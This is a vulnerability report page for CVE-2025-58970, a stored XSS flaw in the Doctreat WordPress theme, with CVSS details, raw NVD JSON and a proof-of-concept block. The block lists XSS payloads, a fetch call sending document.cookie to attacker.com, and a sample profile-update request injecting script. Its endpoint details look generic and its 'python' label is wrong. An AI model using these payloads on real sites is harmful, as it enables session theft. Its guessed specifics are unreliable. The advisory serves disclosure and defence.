Security Vulnerability Report
中文
CVE-2025-58970 CVSS 6.3 MEDIUM

CVE-2025-58970

Published: 2025-10-22 15:15:53
Last Modified: 2026-04-27 20:16:23

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in AmentoTech Doctreat doctreat allows Code Injection.This issue affects Doctreat: from n/a through <= 1.6.7.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AmentoTech Doctreat WordPress Theme <= 1.6.7
Doctreat Theme (all versions from n/a through 1.6.7)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-58970 PoC - Stored XSS in Doctreat WordPress Theme --> <!-- Attack vector: Inject malicious JavaScript in user profile fields --> <!-- Step 1: Identify vulnerable endpoint --> <!-- The vulnerability exists in user input fields that are not properly sanitized --> <!-- Step 2: Inject XSS payload in profile fields --> <!-- Example: User bio, display name, or other text fields --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Image tag XSS --> <img src=x onerror=alert(document.domain)> <!-- Event handler XSS --> <body onload=alert('XSS')> <!-- SVG XSS --> <svg/onload=alert(document.cookie)> <!-- Using the fetch API to exfiltrate data --> <script> fetch('https://attacker.com/steal?cookie='+document.cookie) </script> <!-- Practical exploitation example --> <!-- POST request to update user profile --> /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=doctreat_ajax_update_profile&user_id=123&bio=<script>alert('XSS')</script>&security_token=xxx */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58970", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:53.207", "lastModified": "2026-04-27T20:16:23.213", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in AmentoTech Doctreat doctreat allows Code Injection.This issue affects Doctreat: from n/a through <= 1.6.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/doctreat/vulnerability/wordpress-doctreat-theme-1-6-7-content-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}